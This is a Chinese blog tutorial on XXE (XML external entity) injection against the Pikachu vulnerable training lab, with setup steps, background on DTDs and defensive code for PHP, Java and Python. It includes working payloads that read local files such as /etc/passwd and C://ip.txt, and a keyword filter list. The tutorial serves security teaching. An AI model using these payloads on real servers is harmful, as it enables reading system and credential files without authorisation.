pikachu靶场___XXE漏洞教程

最新推荐文章于 2024-05-09 20:44:26 发布

qq_41584172

最新推荐文章于 2024-05-09 20:44:26 发布

阅读量3.4k

点赞数 4

分类专栏：靶场学习文章标签： XML注入 xxe漏洞 pikachu靶场

本文链接：https://blog.csdn.net/qq_41584172/article/details/103020109

版权

靶场学习专栏收录该内容

3 篇文章 0 订阅

订阅专栏

pikachu靶场___XXE漏洞教程

XXE（XML External Entity Injection）即xml外部实体注入

当程序在解析XML输入时，允许引用外部实体，导致能够引用一个外部恶意文件，可导致执行系统命令、内网端口探测、文件读取，攻击内网服务、dos攻击等。以下用pikachu漏洞靶场进行读取文件的演示。
pikachu靶场下载地址：
https://github.com/zhuifengshaonianhanlu/pikachu

靶场搭建：
1、在Windows平台使用phpstudy
在这里插入图片描述
2、在C盘下，新建一个ip.txt文档。用于后面xxe注入获取该文档。

3、将下载好的https://github.com/zhuifengshaonianhanlu/pikachu源代码复制到该路径下：

XXE注入教程开始：
1、使用本地浏览器打开pikachu靶场
在这里插入图片描述
2、构造payload

<?xml version = "1.0"?>
<!DOCTYPE note [
    <!ENTITY hacker "test">
]>
<name>&hacker;</name>

3、在输入框里把第二步的payload代码输入在方框里
在这里插入图片描述
点击提交后，它将我们定义的实体内容打印在了前端

如果我们提交下面这样的payload，就能看到服务器上的文件内容

<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "file:///C://ip.txt">
]>
<x>&f;</x>

在这里插入图片描述
结束。

Xxe漏洞利用

任意文件读取
探测内网地址
通过DTD窃取文件
远程代码执行

Xxe漏洞防御
1、使用开发语言提供的禁用外部实体的方法

1.PHP：

libxml_disable_entity_loader(true);

2.JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

3.Python：

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2、过滤用户提交的XML数据

过滤关键词：<!DOCTYPE，<!ENTITY，SYSTEM，PUBLIC。

XXE基础知识
XXE，“xml external entity injection”，即"xml外部实体注入漏洞"。
攻击者通过向服务器注入指定的xml实体内容，从而让服务器按照指定的配置进行执行，导致问题
也就是说服务端接收和解析了来自用户端的xml数据，而又没有做严格的安全控制，从而导致xml外部实体注入。

具体的关于xml实体的介绍，可以在网上先查一下。XML语法结构大致如下：

第一部分：XML声明部分
<?xml version="1.0"?>

第二部分：文档类型定义 DTD
<!DOCTYPE note[ 
<!--定义此文档是note类型的文档-->
<!ENTITY entity-name SYSTEM "URI/URL">
<!--外部实体声明-->
]>

第三部分：文档元素
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

其中，DTD（Document Type Definition，文档类型定义），用来为 XML 文档定义语法约束，可以是内部申明也可以使引用外部DTD现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的，从而也就直接避免了这个漏洞。

① 内部申明DTD格式
<!DOCTYPE 根元素 [元素申明]>

② 外部引用DTD格式
<!DOCTYPE 根元素 SYSTEM "外部DTD的URI">

③ 引用公共DTD格式
<!DOCTYPE 根元素 PUBLIC "DTD标识名" "公共DTD的URI">

外部实体引用 Payload

<?xml version="1.0"?>

<!DOCTYPE ANY[ 
<!ENTITY f SYSTEM "file:///etc/passwd">
]>

<x>&f;</x>

qq_41584172

关注

4
点赞
踩
11

收藏

觉得还不错? 一键收藏
0
评论
pikachu靶场___XXE漏洞教程

pikachu靶场___XXE漏洞教程XXE（XML External Entity Injection）即xml外部实体注入当程序在解析XML输入时，允许引用外部实体，导致能够引用一个外部恶意文件，可导致执行系统命令、内网端口探测、文件读取，攻击内网服务、dos攻击等。以下用pikachu漏洞靶场进行读取文件的演示。 pikachu靶场下载地址： https://github.com...
复制链接

扫一扫